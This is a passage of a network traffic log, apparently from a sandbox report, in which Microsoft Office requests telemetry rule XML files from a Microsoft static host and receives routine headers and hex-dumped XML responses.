2025-03-17 16:03:19 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE46A7D87" x-ms-request-id: 5394010e-501e-0078-4751-9706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160319Z-186895dd8bdh8h7whC1EWRqw7s0000000770000000004v7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 61 6e 76 61 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 61 6e 76 61 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Canvas" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCanvas" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.17	49757	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:19 UTC	199	OUT	GET /rules/rule702600v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:19 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:19 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE9956CBB" x-ms-request-id: 9cbac10a-a01e-0002-4d51-975074000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160319Z-186895dd8bdfvrj8hC1EWRcaww000000083000000000mbe4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:19 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 75 74 6f 54 65 6d 70 6c 61 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 75 74 6f 54 65 6d 70 6c 61 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702600" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AutoTemplate" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAutoTemplate" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.17	49758	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:19 UTC	199	OUT	GET /rules/rule703201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE20AC65F" x-ms-request-id: e0cf40f5-901e-008f-6e51-9767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160319Z-186895dd8bdbgz5hhC1EWR2wnc00000002hg00000000natn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 75 67 4c 6f 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AugLoop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAu

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.17	49759	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:19 UTC	199	OUT	GET /rules/rule703200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE79C7E7F" x-ms-request-id: 0af729bc-d01e-0014-7951-97ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160319Z-186895dd8bd48sshhC1EWRwmxg00000007xg000000001xyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 75 67 4c 6f 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 75 67 4c 6f 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AugLoop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAugLoop" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.17	49760	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:19 UTC	199	OUT	GET /rules/rule700251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:19 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED1F47B5" x-ms-request-id: 4db7141c-401e-0064-3651-9754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160319Z-186895dd8bdbfcjthC1EWR3g0000000006zg00000000avrx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 70 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 70 70 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Apple.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAppl

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.17	49761	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:20 UTC	199	OUT	GET /rules/rule700250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE88A8C4E" x-ms-request-id: da34f586-701e-0001-6051-97b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160320Z-186895dd8bddc5hwhC1EWR2xzg00000004pg000000006bxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 70 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 70 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Apple" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenApple" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.17	49763	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:20 UTC	199	OUT	GET /rules/rule700651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE63F9252" x-ms-request-id: b1cbc835-c01e-0066-4751-97a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160320Z-186895dd8bdpn7zfhC1EWR5w3w000000057g00000000drds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 6e 64 72 6f 69 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Android.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAn

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.17	49766	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:20 UTC	199	OUT	GET /rules/rule700650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF204895" x-ms-request-id: c289a9ed-601e-006f-6d51-97e43f000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160320Z-186895dd8bdvl5lbhC1EWRmxds000000082g000000006ys8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 6e 64 72 6f 69 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 6e 64 72 6f 69 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Android" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAndroid" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.17	49765	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:20 UTC	199	OUT	GET /rules/rule703301v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:20 GMT Content-Type: text/xml Content-Length: 1419 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB88DB43" x-ms-request-id: 10373ca5-201e-0051-5051-977340000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160320Z-186895dd8bdx922jhC1EWRcnfs00000007d0000000003zev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:20 UTC	1419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 69 72 54 72 61 66 66 69 63 43 6f 6e 74 72 6f 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703301" V="0" DC="SM" EN="Office.Telemetry.Event.Office.AirTrafficControl.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTen

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.17	49767	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:20 UTC	199	OUT	GET /rules/rule703300v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:20 GMT Content-Type: text/xml Content-Length: 1382 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBF2D844" x-ms-request-id: 1eb099f2-f01e-001f-6251-975dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160320Z-186895dd8bd48sshhC1EWRwmxg00000007x000000000380u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:20 UTC	1382	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 69 72 54 72 61 66 66 69 63 43 6f 6e 74 72 6f 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 69 72 54 72 61 66 66 69 63 43 6f 6e 74 72 6f 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703300" V="0" DC="SM" EN="Office.Telemetry.Event.Office.AirTrafficControl" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAirTrafficControl" S="Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.17	49768	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:20 UTC	199	OUT	GET /rules/rule701751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:20 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBFFA9D9" x-ms-request-id: f67c99dc-c01e-00ad-7f51-97a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160320Z-186895dd8bdg7vxnhC1EWRbpc000000003k000000000e2zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:21 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 69 72 53 70 61 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AirSpace.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenA

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.17	49769	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:21 UTC	199	OUT	GET /rules/rule701750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:21 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC40C5B7" x-ms-request-id: 10373ec9-201e-0051-5851-977340000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160321Z-186895dd8bdkvr8rhC1EWR0teg00000004g0000000000w05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
